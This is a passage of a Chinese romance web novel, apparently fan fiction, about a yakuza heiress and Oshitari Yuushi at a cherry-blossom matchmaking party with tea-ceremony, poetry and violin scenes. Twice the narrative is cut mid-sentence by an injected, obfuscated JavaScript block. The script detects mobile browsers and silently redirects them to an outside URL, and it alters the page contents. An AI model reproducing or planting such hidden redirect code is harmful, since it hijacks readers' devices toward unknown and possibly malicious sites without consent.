有人起身走向茶室深处特意设置的休息间,有人拿出手机走到角落低声处理事务,几位小姐则互相示意着,拿出小巧的漆盒补妆,眼角余光仍不忘打量四周。 如月遥也站起了身。 黑色的身影在缤纷的和服色彩中显得格外突兀,那位姓早乙女的管家立刻如同影子般悄无声息地跟上,保持着一步的距离。 她并没有走向人群聚集的方向,而是径直穿过廊下,走到了庭院一角一株开得相对稀疏的樱树下。 这里远离主宴区,略显安静。 “小姐,可是有什么需要?”早乙女管家低声询问,语气恭敬。 如月遥看着前方被精心修剪过的庭院景致,没什么表情地开口,声音不大,却足够清晰:“很无聊。” 早乙女管家额角似乎渗出细微的汗意,他维持着笑容:“小姐可以欣赏一下这里的樱花,晚樱也是很有名的……” 如月遥抬眼瞥了下头上的花枝,语气平淡:“稀稀拉拉。” 管家:“……” 他艰难地保持微笑,“小姐的故乡,樱花规模确是世界闻名,这里的景致自然是入不了您的眼。” 他试图转移话题,“或者您可以欣赏一下这庭院的枯山水造景,颇具禅意……” 如月遥的目光扫过那些被精心耙制出纹路的白砂,和几块摆放得看起来似乎极具意味的石头:“小桥,小水,小石头墩子?” “……” 管家感觉后背的汗更多了:“规模上自然无法与小姐家中那占地十亩、移步换景的园林别墅相提并论。” 他几乎是绞尽脑汁,最后目光落在庭院池中几尾缓慢游动的锦鲤上,像是抓住了救命稻草,“小姐您看这池中的锦鲤!色彩斑斓,形态优美,很是赏心悦目……” 如月遥依言微微俯身,看向池中。 那几尾锦鲤确实色彩鲜艳,但在巨大的池子里显得有些伶仃。 她看了几秒,直起身,语气依旧没什么起伏:“这鱼瘦的我家猫看见了都懒得伸爪子。” “……” 早乙女管家彻底哑口无言,脸上的笑容都快挂不住了,只能压低声音,带着几分恳求:“小姐,请您务必忍耐一二。” “大少爷的脾气……您知道的,在社交场合上实在是……不太有利。” “这次家主特意吩咐,希望您能……呃,柔和一些,维护一下如月家的颜面。” 他几乎是苦口婆心,“所以,请您……至少,保持微笑?” 如月遥终于转过头,看了早乙女管家一眼,那眼神清凌凌的,看得管家心里直发毛。 她静默了两秒,然后,极其缓慢地,扯动了一下嘴角。 一个标准的、弧度精准的、却丝毫未触及眼底的笑容出现在她脸上,配上那张冷冰冰的脸,显得格外诡异和吓人。 “知道了。”她皮笑肉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526605|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑地说,声音像是从冰窖里捞出来的,“这样,可以了吗?” 早乙女管家看着自家二小姐这副“核善”的表情,胃部开始隐隐作痛,只觉得任务艰巨,前途多舛。 他僵硬地点点头,一句话也说不出来了。 就在这时,一阵轻微的脚步声从旁边传来。 忍足侑士不知何时也走到了这边,似乎也是想来透透气。他恰好看到了如月遥那个转瞬即逝的、皮笑肉不笑的“微笑”,以及她之前对着锦鲤那句冰冷的评价。 脚步顿住,忍足推了推眼镜,掩去眼底一闪而过的笑意。 主家兴致勃勃地提议,移步至庭院后方的小山坡,据说那里的几株“枝垂樱”正值最佳观赏期,景致更为殊胜。 众人自然纷纷附和,起身整理衣摆,准备这场风雅的行进。 如月遥面无表情,她对“稀稀拉拉”的樱花升级版能有多“殊胜”持高度怀疑态度。 但早乙女管家在一旁用近乎哀求的眼神暗示着“如月家的体面”,她只能在心底叹了口气,默默跟上移动的人群。 忍足对迹部低声道了句“失陪一下”,迹部瞥了他一眼没说什么,自顾自随着主流向前走去。 忍足不着痕迹地放慢了脚步,有意无意地,就落在了队伍的最末尾,恰好与同样落在后面的如月遥并排。 山路是经过修整的青石板阶,但对于穿着正式和服与木屐的人来说,依旧不算友好。 尤其是上坡。 忍足注意到,如月遥的步伐明显有些滞涩。 那双精致的黑漆木屐显然不是为了爬山准备的,高跟和光滑的底在略显潮湿的石阶上需要格外小心。 加之留袖和服为了端庄,下摆收得偏窄,极大地限制了步幅。 她努力维持着仪态,背脊挺得笔直,但微微蹙起的眉心还是泄露了一丝不耐烦。 忍足放缓了自己的速度,与她保持同步。 “坡有点陡。”他开口,声音不高,恰好能让身旁的人听清,语气是温和的,不带任何刻意搭讪的轻浮,“不用着急,慢慢走就好。” 如月遥的脚步几不可察地顿了一下,没有转头看他,目光依旧看着前方的路,只是极轻微地抿了一下唇。 忍足继续道,声音里带着一点恰到好处的、不会令人反感的关切:“木屐确实不太好走这种路。” “如果……需要借力的话,”他微微抬起靠近她那侧的手臂,肘部形成一个可供扶持的弧度,动作自然无比,“请不用客气。” 他的提议坦荡而礼貌,仿佛只是出于绅士风度对任何一位同行女士都会做出的举动,将选择权完全交给了她。 如月遥终于侧过头,飞快地瞥了他一眼。那双眸子里没什么情绪,像是在评估他这个提议的动机和可行性。 短暂的沉默。 只有木屐敲击石阶的轻响和前方隐约传来的谈笑声。 她看起来像是在权衡“维持体面独立”和“避免摔跤出丑”哪个更重要。 最终,她极其轻微地、几乎难以察觉地吸了口气,目光转回前方,并没有伸手扶住他的手臂,但脚步却似乎更慢了一些,几乎是默许了他并肩而行的陪伴。 忍足眼底掠过一丝极淡的笑意,从善如流地保持着同样的慢速,手臂也自然地垂放下来,不再刻意提供支撑,却形成了一个随时可以反应的保护姿态。 两人就这样沉默地、缓慢地落在队伍最后。 一深蓝一墨黑的身影,穿梭在稀疏落下的樱花瓣中,与前方热闹的人群隔开了一段微妙的距离。 坡顶的枝垂樱就在前方,粉白色的花枝如瀑布般垂下,的确比下面的樱树要繁茂许多。 忍足想,这坡,或许可以再长一点。 4. 第 4 章 前方的谈笑声和身影逐渐远去,融入了坡顶那片更为茂盛的樱云之中。 如月遥的脚步彻底停了下来。 她站在青石板路中段一块稍显平坦的地方,微微垂着眼,看着自己那双显然与登山无缘的黑漆木屐。 “不走了。”她忽然开口,声音不大,带着干脆利落的放弃,像是在宣布一个与自己无关的决定。 忍足立刻停下,侧身看她:“怎么了?” “脚疼。”她言简意赅,语气平淡,听不出抱怨,只是在陈述一个事实。 穿着这身束缚人的行头爬这种坡,显然超出了她的忍耐限度。 忍足抬眼望了望已经消失在坡顶花丛中的人群,又看了看她微蹙的眉心,心里莫名地松了口气。 确实,没必要去追赶了。 “如月小姐不上去吗?”他顺着她的话问,语气寻常,“上面的景致应该更好。” 如月遥终于抬起眼,目光清凌凌地落在他脸上,带着一种近乎直白的审视:“你是今天的主角之一,不去可以吗?” 她平铺直叙,“刚才那些谈话,我听得出是什么意思。” 相亲局。 她毫不避讳地戳破了那层华丽的窗户纸。 忍足猝不及防被她如此直白地点破,愣了一下,随即失笑。他推了推眼镜,镜片后的目光带着几分自嘲和了然:“主角?” 他摇了摇头,语气轻松下来,“迹部和幸村才是真正的‘主角’,足够吸引所有目光了。我嘛……” 他微微耸肩,看了一眼她身上那身极具压迫感的黑色和服,“乐得清闲,没必要去凑那个热闹。” 他这番话半真半假,既点明了现状,又巧妙地将自己从“被挑选”的位置上摘了出来,更隐隐将两人划到了同一阵营。 你和我,都是这场“热闹”的旁观者。 短暂的沉默在两人之间流淌,只有风过樱枝的细微沙沙声。 忍足看着她,看着她又长又密的睫毛在眼下投出的浅浅阴影,看着那身浓黑将她肤色衬得愈发冷白。 胸腔里那股自认出她后就未曾平息的心潮,再次涌动起来。 他收敛了方才玩笑的神色,声音沉静下来,带着一种他自己才懂的、缓慢而郑重的力度: “又见面了,如月小姐。” 这句话里包裹着太多未言明的意味——音乐厅的惊鸿一瞥,后台短暂的对话,那首《诀别书》,还有这半个月来的搜寻与萦绕不散的影子。 如月遥抬起头,目光再次与他对上。 那双总是平静无波的眼眸里,似乎极快地掠过一丝什么,像是冰层下终于有鱼尾摆动了一下,但速度太快,无从捕捉。 她当然记得他。 那个在后台指路,又试图搭讪请她喝茶的、拉小提琴的俊美青年。 她沉默地看着他,像是在确认什么,几秒后,才微微动了一下唇瓣,声音很轻,像是在自言自语般地确认:“忍足侑士。” 没有称呼,没有敬语,只是清晰地念出了他的名字。 忍足的心跳猛地漏了一拍,随即一种近乎幼稚的满足感迅速充盈了胸腔。 她记住了,不仅仅是这张脸,还有他的名字。 他嘴角控制不住地向上扬起一个清晰的弧度,这次的笑容里少了惯常的伪装,多了几分真实的愉悦。 他指了指不远处山坡斜刺里延伸出去的一条小径,尽头有一个小巧的、红漆斑驳的六角凉亭,隐在几株晚开的八重樱后面,看起来清静无人。 “他们在上面的赏花会,估计至少要半小时。” 他语气自然地提议,带着恰到好处的分寸感,“要不要去那边亭子里坐一会儿?” “总比站在这里,或者硬撑着爬上去要舒服些。” 如月遥顺着他指的方向看了一眼那个安静的凉亭,又低头瞥了一眼自己备受折磨的脚,几乎没有犹豫。 “好。”她干脆地答应道,率先转身,朝着凉亭的方向走去,步伐似乎因为有了明确的目标而轻快了一丝丝。 忍足看着她利落的背影,嘴角的笑意更深,快步跟了上去。 稀疏的樱花花瓣,静静飘落在他们一前一后的身影之间。 凉亭小巧却古朴,红漆有些剥落,反而更添了几分幽静。 石桌石凳冰凉,却正好驱散了步行带来的些许燥热。几瓣晚开的八重樱被风吹着,打着旋儿飘进亭内,落在石桌上。 如月遥几乎是立刻在石凳上坐下,微不可察地轻轻吁出一口气。 木屐里的双脚终于得到片刻解放,脚趾在足袋里悄悄动了动,缓解着被挤压的酸痛。 她其实很想直接把木屐脱了,但残存的理智和对面还坐着个忍足侑士的事实,让她勉强维持住了最后的风度,只是将双脚稍稍往回收了收。 微风拂过,带来远处隐约的笑语和更清晰的草木气息,冲淡了那恼人的甜腻花香。 忍足在她对面坐下,姿态放松,却依旧保持着恰到好处的距离感。 他看着眼前的人,觉得此刻褪去了人群注视的她,似乎比刚才那尊冰冷的“如月家二小姐”雕像要真实柔软一点点,虽然也只有一点点。 “如月小姐是东大文学部的?”他找了个安全的话题开端,声音温和。 “嗯。”如月遥应了一声,视线落在亭外被风吹得摇曳的樱枝上,“古典文学方向。” 忍足想起主家的介绍,顺势道:“那确实很巧。我是医学部的。” 他补充了一句,带着点不易察觉的试探,“医学部和文学部的研究栋,离得并不算远。” 如月遥闻言,目光收回,落在他脸上,似乎也才将“忍足侑士”和“东大医学部”这两个信息点完全重合起来。 她点了点头,语气里带上了一丝极淡的情绪:“确实很巧。” 她顿了顿,像是陈述一个客观事实,“这是第二次和忍足君见面了。” 她用了“忍足君”这个称呼,不再是生硬的连名带姓,但也保持着足够的距离。 忍足的心跳因为这个称呼和“第二次见面”的确认而微微加速。 他正想顺势说点什么,或许可以稍稍解释一下上次在音乐厅分别时那略显仓促的邀请并非轻浮,试图扭转一下自己可能被定性为“搭讪者”的不良印象。 然而,就在他组织语言的间隙—— 一阵极其轻微、但在寂静凉亭里却显得格外清晰的“咕噜”声,突兀地从对面传来。 声音的来源,显然是如月遥的腹部。 空气瞬间凝固了。 如月遥的身体几不可察地僵硬了一下,一直没什么表情的脸上,第一次飞快地掠过一丝极其明显的窘迫。 虽然她立刻强行压了下去,重新板起脸,甚至刻意将视线投向更远的虚空,仿佛刚才发出声音的不是她自己。 忍足差点没忍住笑出声,好在强大的表情管理能力让他只是嘴角极轻微地抽搐了一下,迅速转化为一个关切的表情,语气自然地问道:“没吃早饭吗?” 如月遥的嘴唇抿成一条直线,下颌线似乎都绷紧了。 静默了两秒,大概是觉得否认也无济于事,反而更显欲盖弥彰,她破罐子破摔般地回答:“想吃。但是为了穿和服好看,早乙女不给吃。” 她下意识地低头看了一眼自己一丝不苟的腰带部位,“今天连水都没怎么喝,怕上厕所麻烦。” 她一口气说完,语气平平,但那股被强行压抑的、对于食物和水的渴望,以及对于这种变态要求的无声控诉,却清晰地传递了出来。 忍足听着,一时竟不知该作何表情。 是该同情她,还是该吐槽如月家或者说那位早乙女管家对于“体面”的苛刻要求? 他看着对方那副明明很郁闷却还要强装冷静的样子,觉得有点好笑,又有点说不出的感觉。 他下意识地伸手探进自己和服袖子的内袋里摸了摸,这是他的习惯,长时间实验或者集中学习时,总会备几颗糖防止低血糖。 指尖触碰到一颗独立包装的硬糖。 他拿出来,递到如月遥面前的石桌上,透明的糖纸包裹着一颗淡黄色的糖果。 “补充点糖分,会舒服些。”他的声音里带着笑意,却很温和,没有半点嘲笑的意思。 如月遥的目光落在那个颗糖上,又抬眼看了看忍足,似乎犹豫了一下,但腹部的空虚感最终战胜了矜持。 她低声道了句“谢谢”,伸出白皙的手指,拿起了那颗糖。利落地剥开糖纸,将那颗柠檬味的硬糖放入口中。 瞬间,酸酸甜甜的滋味在舌尖弥漫开来,刺激着唾液分泌,也稍微压下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526606|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那阵恼人的饥饿感。 她微微眯了一下眼睛,像是被那突如其来的酸味激了一下,但紧抿的唇角却似乎不易察觉地放松了一丝丝。 忍足看着她细微的表情变化,心里某个地方忽然变得很软。 安静的凉亭里,只剩下风吹过树叶的沙沙声,以及她口中糖果轻轻滚动时,发出的极细微的、甜腻的声响。 当主家终于宣布午宴开始,移步至宴会厅时,如月遥几乎是立刻站了起来。 下山的路,她走得比上山时快得多,带着一种奔向解放区的决绝。 然而,被束缚的双脚和恼人的木屐再次成为了最大的阻碍。下坡时重力前倾,光滑的木屐底在石阶上更加不稳,她一个趔趄,身体一晃。 一直跟在她身侧,注意力其实大半都放在她脚下的忍足,几乎是下意识地迅速伸出手臂,稳稳地托住了她的手肘。 “小心。”他的声音及时响起,温和而镇定。 如月遥惊魂未定地抓住他的小臂,隔着和服布料,依然能感觉到他手臂肌肉坚实稳重的力量。 这一次,她没有立刻松开,略扣紧了些他的胳膊,借助他的支撑来对抗这该死的下坡路和木屐。 “谢谢。”她的声音有点闷,带着显而易见的烦躁,是对这身打扮,也是对这不方便的路。 “不客气。”忍足的声音里含着清晰的笑意,却并非嘲笑,更像是一种愉悦。 他小心地调整了一下姿势,让她能更省力地借力,同时不忘温声提醒,“慢点走,下坡路更容易摔。” 他任由她扣着自己的手臂,那力道确实不轻,指甲甚至无意间隔着布料掐了他一下,但他甘之如饴,只觉得那一点点轻微的痛感也带着奇妙的甜意。 他配合着她的步调,一步步走得极稳,仿佛不是在走一段普通的石阶,而是在完成一项重要的护卫任务。 迹部景吾偶然看到这一幕。 忍足微微侧着头,专注地看着身旁穿着漆黑和服的女子,嘴角噙着的那抹笑意带着某种真实温度的东西。 迹部眉梢微挑,指尖抚过泪痣,唇角勾起一个意味深长的弧度。 嗯?有意思。 午宴是极其标准的怀石料理。 一道道小巧精美的碗碟被穿着和服的女侍依次奉上,摆盘如同艺术品,色彩搭配和谐,充满了季节感。 然后……分量少得令人发指。 如月遥看着眼前那个巴掌大的漆碗里,漂浮着两片花瓣、一块指甲盖大小的豆腐、以及一两根不知名野菜的“先付”,感觉额角的青筋跳了一下。 怨念几乎化为实质的黑气,从她周身散发出来。 每一次抬头,那冰冷的目光扫过侍立在不远处的早乙女管家。 管家都觉得脖颈一凉,仿佛被无形的刀刃架住了喉咙,冷汗涔涔地低下头,内心疯狂祈祷这位祖宗能再忍耐一下。 当女侍端上“向付”时,精美的瓷盘里摆放着薄如蝉翼、宛如花瓣的几种刺身。 邻座穿着粉色樱吹雪纹和服的小姐,好奇地瞥了一眼如月遥的桌面,发现她面前没有这道菜,取而代之的是一小碟炙烤过的、同样分量少得可怜的牛肉片。 小姐忍不住轻声问道:“如月小姐不喜欢刺身吗?” 早乙女管家躬身代为回答,脸上带着歉意的笑容:“失礼了。我家小姐不用鱼类及生食,海鲜类也甚少碰触。” “这些忌口早已提前告知贵府,真是给您们添麻烦了。” 他解释得滴水不漏,将责任全揽到了自家这边。 如月遥没说话,只是默默拿起筷子,夹起面前那一片薄得几乎透光的烤牛肉,放入口中。 牛肉烤得火候恰到好处,调味也精致。 但是。 薄,少。 根本吃不出味道。 她在心里愤怒,面上却依旧平静无波,只是咀嚼的动作稍微用力了一点,仿佛在啃咬某个看不见的敌人的骨头。 忍足坐在斜对面,将她所有细微的表情尽收眼底。 看着她对着那点少得可怜的食物眼神发怒,看着她偷偷按了一下应该是饿得有点发疼的胃部,看着她每次抬头看管家时那几乎要杀人的目光。 他强忍着笑意,忽然觉得这场无聊至极的赏花宴,变得前所未有的生动有趣起来。 5. 第 5 章 精致且填不饱肚子的怀石料理终于结束。 侍者们悄无声息地撤下杯盘,奉上清口的热茶。 主家笑容可掬地再次起身,提议诸位移步庭院,趁着午后暖阳,体验一下“花道”与“和歌”的雅趣,正好消食解腻。 如月遥端着那杯几乎能照见人影的清茶,闻言蹙眉,“还要和歌?” 管家立刻躬身,用气音快速解释:“回小姐,就是类似俳句吟咏,即景抒情,风雅之事。” 即景抒情。念诗。 如月遥心里瞬间飘过犀利点评:刚吃完那么点猫食还需要消食? 附庸风雅倒是真的,日本人真是把形式主义刻进骨子里了。 但“如月家的体面”这五个大字像紧箍咒一样套在她头上。 面无表情地放下茶杯,站起身,再次被迫加入这场她看来毫无意义的“风雅”活动。 众人被引到庭院中几株开得最好的樱树下,早已备好了矮几、花器、各色当季花材、笔墨纸砚。 娇俏的贵女们自然是选择插花,姿态优美地摆弄着枝桠,力求每个角度都完美无缺。 公子们则多在书法或和歌上展现才学,铺开宣纸,挥毫泼墨,或者凝眉思索,酝酿诗句。 迹部、忍足、幸村、观月这几位核心人物,自然是众人瞩目的焦点,也被主家热情地推到了中心位置。 幸村精市拿起一枝淡紫的龙胆,微微侧头端详,随即手指灵巧地插入浅钵中,寥寥几枝,便勾勒出远山云雾般的意境,引来一片真心或假意的赞叹。 观月初指尖卷着发梢,略一沉吟,便提笔在色纸上写下一句“花の雲鐘は上野か 浅草か”(花如云霞钟声渺,是上野还是浅草?) 笔迹风流,带着他特有的、略显刻意卖弄的才情,自然也收获了不少恭维。 迹部景吾则根本不屑于这些小打小闹,他直接命人取来更大的宣纸,挥毫写下“沉醉在本大爷绝美的技艺下吧!” 虽然内容让人无语,但那手字确实锋芒毕露,霸气十足,倒也无人敢说什么。 忍足侑士选择了相对省事的和歌吟咏。望着纷落的樱花,信口拈来一句还算应景的短歌,声音低沉悦耳,带着他特有的磁性慵懒,也引得几位小姐悄悄红了脸。 如月遥冷眼旁观。 插花?幸村君确实有点天赋。 书法?迹部君的字很有力量,观月君的…还行吧。 和歌?她听那些被吟诵出来的、歌颂樱花转瞬即逝的哀美或者春天易逝的惆怅的句子,心里默默翻译成中文,然后冒出一连串弹幕: 就这?平仄不对,意境浅白,矫揉造作。 这也叫诗?我小学写的打油诗都比这强。 为赋新词强说愁。 主家显然醉翁之意不在酒。 每当一位公子展示了什么,他就会极其自然地将某位家世相当、并且似乎对其流露出好感的小姐引荐过去,美其名曰“交流心得”、“互相品鉴”。 于是,迹部身边围上了两三位欣赏书法的娇羞少女,幸村那边有女孩请教插花技巧,观月也被缠着讨论俳句用典,忍足身边也站了一位低头绞着帕子、小声说着“忍足君的和歌真是风雅”的女孩。 如月遥看着那四位被“百花”环绕、不得不维持礼貌应付的男士,莫名地心里有点同情。 这哪里是风雅交流,分明是大型围猎现场。 还是饿着肚子的围猎。 她果断选择远离风暴中心,悄无声息地挪到摆放茶点的长案边,看着那些做得同样小巧玲珑、一口一个的和果子,虽然依旧不管饱,但总比没有强。 她拿起一个淡粉色的樱饼,低头认真地吃了起来。 还是先填填肚子比较实在。 午后的阳光透过繁密的樱枝,在铺着毡布的矮几和盛装的人们身上投下斑驳的光点。 风雅的活动似乎渐入佳境,却又不可避免地流于一种心照不宣的、为特定人群创造交流机会的模式。 就在这略显微妙的平衡中,长者似乎终于想起了那位始终游离在边缘、却不容忽视的黑色身影。 他笑容可掬地将目光投向正默默试图用手指弹掉和果子糖粉的如月遥,声音洪亮地提议: “说起来,如月小姐自幼在中国长大,中华文化博大精深,诗词歌赋更是璀璨夺目。” “想必如月小姐在此方面定有极高的造诣。” “不知今日是否有幸,能请您也一展才学,让我等领略一番汉诗的风雅?” 一瞬间,所有或明或暗的目光,如同被无形的线牵引,齐刷刷地聚焦到了如月遥身上。 那些目光里,有纯粹的好奇,有审视衡量,有等着看这位极道千金出丑的隐秘期待,也有迹部等人带着几分玩味的关注。 如月遥弹指尖的动作几不可察地顿了一下。 随即,她周身那刚刚因为专注于点心而松懈了的气息瞬间收敛,重新冻结成那个高不可攀、冷若冰霜的如月家二小姐。 缓缓抬起眼,目光平静地迎向主家,脸上看不出丝毫被突然点名的慌乱或窘迫。 早乙女管家在一旁紧张得手心冒汗,拼命用眼神示意“小姐稳住。体面!体面!” 如月遥微微颔首,声音如同碎玉投盘:“造诣不敢当。略知一二而已。” 视线扫过庭院中纷扬飘落的樱花,语气平淡无波,“既然主家盛情,我便借景念两句旧诗吧。” 她略一沉吟,清越的嗓音便流淌出来,用的是字正腔圆的中文: “年年岁岁花相似,岁岁年年人不同。” 两句诗念完,她并没有立刻解释,而是任由那抑扬顿挫、富含韵味的音节在空气中回荡,让不懂中文的人也先直观地感受到其韵律之美。 短暂的寂静。 许多人面露茫然,但像迹部、幸村这等自幼接受精英教育、对汉文化有所涉猎的人,眼中则瞬间闪过惊异和赞赏。 如月遥这才不紧不慢地,用流畅自然的日语解释,“这是中国唐代诗人刘希夷的诗句。” “意思是,每一年花朵都会如期绽放,景象似乎年年相似,但赏花的人却早已换了模样。” 解释完毕,她并没有停下,而是将目光再次投向那不断飘零又不断有新生花朵绽放的樱树,继续用那种冷静而清晰的语调,仿佛在陈述一个再自然不过的真理: “其实道理很简单。” “没有哪一朵花会永不凋谢,生命的凋零是常态。” 话锋却轻轻一转,带着一种超乎年龄的通透,“但是,也永远会有新的花朵在另一个枝头,或者另一棵树上,如期盛开。” “逝去的无法挽回,但新生也从未停止。” “哀悼旧日的凋零固然是一种情感,但欣赏当下正盛开的这一朵,期待明日将绽放的那一簇,才是更真实的生活。” 她的声音不高,却清晰地传入每个人耳中。 没有华丽的辞藻,没有刻意煽情的悲春伤秋,只有冷静的观察和一种近乎哲学的、带着疏离感的感悟,将一句诗词延伸到了关于生命轮回与珍惜当下的普世命题上。 瞬间,之前那些吟咏樱花易逝、春光短暂的和歌俳句,在她的这两句诗和随后的解读面前,显得格外小家子气和无病呻吟。 整个庭院鸦雀无声。 方才那些或好奇或审视或等着看笑话的目光,全都变成了震惊、难以置信,以及深深的折服。 谁能想到,这个来自极道家族、穿着一身禁忌黑色、看起来冰冷又不近人情的大小姐,内里竟藏着这样的才学与见地? 早乙女管家激动得差点老泪纵横,腰杆不由自主地挺得笔直,脸上放光,内心疯狂呐喊: 看到了吗! 外面那些只觉得如月家打打杀杀的粗人印象都见鬼去吧! 我们家二小姐是真正的才女! 肚子里有墨水的高材生! 如月家的脸面今天真是闪闪发光啊! 忍足看着一身黑衣却仿佛汇聚了所有光亮的女人,镜片后的目光深不见底,心脏再一次不受控制地、剧烈地跳动起来。 她总是这样,每一次出现,都带着截然不同的、却同样致命的冲击力。 迹部景吾抚着泪痣,唇角勾起一个极富兴味的弧度。 幸村精市微微颔首,眼中是纯粹的欣赏。 观月初则眯起了眼,指尖卷头发的速度加快了些,像是在重新评估这位突如其来的变量。 如月遥却仿 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他微微侧着头,下颌抵着琴身,眼镜片后的眼眸轻阖,神情专注而沉醉,修长的手指操控着琴弓,在弦上拉出缠绵悱恻的旋律。 阳光透过花枝落在他深蓝色的和服上,勾勒出清俊的轮廓,画面美好得如同电影海报。 大多数宾客都露出了欣赏陶醉的表情,沉浸在这位忍足家公子难得一见的即兴演奏中,这无疑是风雅集会上最应景、也最高级的助兴。 然而,如月遥却在第一个音符跃出时,就猛地抬起了头。 那双总是平静无波的眼眸里,瞬间闪过一丝难以置信的惊诧。 这旋律…… 太熟悉了。 即使被改编成了小提琴的版本,即使调性做了调整,即使融入了更多圆滑的过渡和曲调的改编,但那旋律的骨架,那深嵌在每一个音符里的情感内核,她绝不会认错。 是《诀别书》。 是那首她在东京三得利音乐厅的空荡舞台上,倾注了无人知晓的情绪弹奏的《诀别书》。 可是,又不一样了。 此刻从忍足琴弦上流淌出来的,悲伤的底色仍在,却奇异地被注入了一种温暖的希望。 像是冰雪消融后露出了底下湿润的泥土,预示着新生。像是诀别之后,于漫长时光尽头生出的、对重逢渺茫却执着的期待。 他修改了它。 他用小提琴的绵长和略带沙哑的磁性,重塑了它。 他读懂了那首曲子的悲伤,然后用他自己的方式,给予了它一个截然不同的、充满光明的注解。 琴声悠扬,在樱花雨中穿梭,每一个音符都像是对她之前那句“永远会有新的花朵盛开”的无声回应和具象化演绎。 如月遥怔怔地听着,忘记了手中的茶,忘记了周遭的一切,只是不由自主地、循着那牵引她全部心神的乐声,将目光投向了那个拉琴的人。 而仿佛心有灵犀般,忍足侑士也在那个乐章舒缓的间隙,缓缓睁开了眼睛。 他的目光,穿越纷扬的花瓣和人群,毫无偏差地捕捉到了她的视线。 四目相对。 他的眼神深邃得像不见底的古井,里面翻涌着太多复杂难辨的情绪。 有对音乐的沉浸,有毫不掩饰的欣赏,有一种小心翼翼的试探,还有一种仿佛跨越了漫长等待才终于得以传递某种讯息的专注。 她看着他,脑子里回想起半个多月前,他那个被自己定义为“拙劣搭讪”的邀请。 “比如,请你喝一杯热茶?” 当时她觉得轻浮又冒犯。 可现在,听着这首被他精心改编、注入了全然不同情感的《诀别书》,感受着他此刻穿越人海牢牢锁住自己的、深邃得几乎烫人的目光。 一个念头如同破土的春芽,猝不及防地钻了出来。 或许…… 他当时真的就只是……单纯地喜欢这首曲子? 而一直留意着忍足的迹部察觉到了这微妙的变化,眼眸中掠过一丝了然。 啊嗯?原来如此。 这首曲子…… 琴声依旧在樱花树下缠绵流淌,如同情人低语,诉说着诀别书之后,静待花开的温柔期许。 6. 第 6 章 小提琴的余音仿佛还在樱花树下缭绕,主家的长者便抚掌笑道,显然是想将气氛推向另一个高潮。 “妙极,妙极!侑士君的琴技真是越发精湛了,即兴演奏也能如此动人。” “说起来,听闻清水小姐的小提琴也师从名家,造诣颇深。” “正值此良辰美景,不知二位可否合奏一曲?” “《梁祝》如何?最是应景不过了。” 《梁祝》。 化蝶双飞,生死相随的爱情绝唱,其暗示的含义,在这相亲意味浓厚的场合下,简直不能更直白。 被点名的清水小姐立刻羞红了脸,眼中却迸发出惊喜和势在必得的光芒。 她倾心忍足已久,自然不会放过这个绝佳的机会,几乎是立刻从琴盒中取出了自己精致的小提琴,期待地望向忍足,脸颊绯红。 众人的目光再次聚焦,带着看好戏的促狭和祝福。 忍足侑士的心却沉了下去。 他几乎是下意识地,第一时间将目光投向如月遥。 她却只是微微低着头。 视线落在自己黑色和服上那用金线银线刺绣出的、嚣张怒放的百合花纹上,手指无意识地摩挲着冰冷的丝绸面料,仿佛周遭的一切提议、期待、暗涌都与她无关。 她甚至没有给他一个眼神,一丝反应。 那种彻头彻尾的、置身事外的漠然,像一盆冰水,瞬间浇熄了忍足心中因她方才那瞬间怔忪而燃起的微弱火苗。 她听到了吗? 她听懂了他改编曲子里那份小心翼翼的试探和期待了吗? 还是说,对她而言,那真的就只是一段普通的、听过即忘的旋律? 巨大的失落和一丝难以言喻的委屈攫住了他。 他不愿意。 一点也不愿意在这种时候,和对他抱有明确好感的清水小姐,合奏这样一首寓意特殊的曲子。 尤其是在如月遥面前。 可拒绝的话到了嘴边,却又碍于场合和礼仪,难以直接说出口。 他的迟疑和僵硬落在外人眼里,或许成了羞涩或默认。 就在这时,一直旁观着的迹部优雅地放下茶盏,发出一声轻微的脆响,成功吸引了部分注意力。 他华丽声线带着不容置疑的意味响起:“啊嗯?《梁祝》固然经典,但本大爷倒是觉得,侑士方才独自演奏的那首改编曲更有新意。” “合奏之事,或许下次有机会再……” 迹部的解围意图明显,清水小姐脸上的笑容瞬间僵住,失望和难堪显而易见。 然而,或许是忍足之前投向如月遥的那一瞥太过明显,又或许是女性在这种事情上天生的敏锐,清水小姐将一腔不甘,猛地转向了那个始终沉默的黑色身影。 她抢在迹部把话说完之前,忽然抬高了一点声音,带着故作天真的挑衅,直直看向如月遥: “如月小姐,方才忍足君独奏的曲子真是优美呢!您觉得呢?” “您在中国长大,对音乐的鉴赏一定很有见解吧?不知您听得懂其中表达的意境吗?” 这话问得极其刁钻,看似请教,实则带着贬低和排挤的意味。 一个“极道家族”出身的小姐,能懂什么高雅音乐? 所有目光再次唰地聚焦到如月遥身上。 忍足的心猛地一提,看向如月遥,他甚至期待她能说点什么,哪怕只是反驳清水一句,或者承认她听懂了那首《诀别书》。 如月遥终于抬起头。 她脸上的表情没有任何变化,依旧是那副冰封的平静,她看了一眼明显带着敌意的清水,又淡淡扫过一脸紧张的忍足,最后目光落回清水身上。 她开口,声音平稳无波,听不出丝毫情绪,像在陈述一个客观事实: “清水小姐过誉了。我于音乐上并无什么造诣。” 语气甚至带上了近乎敷衍的礼貌,“方才的乐曲,单纯觉得挺好听的。” 挺好听的。 轻飘飘的四个字。 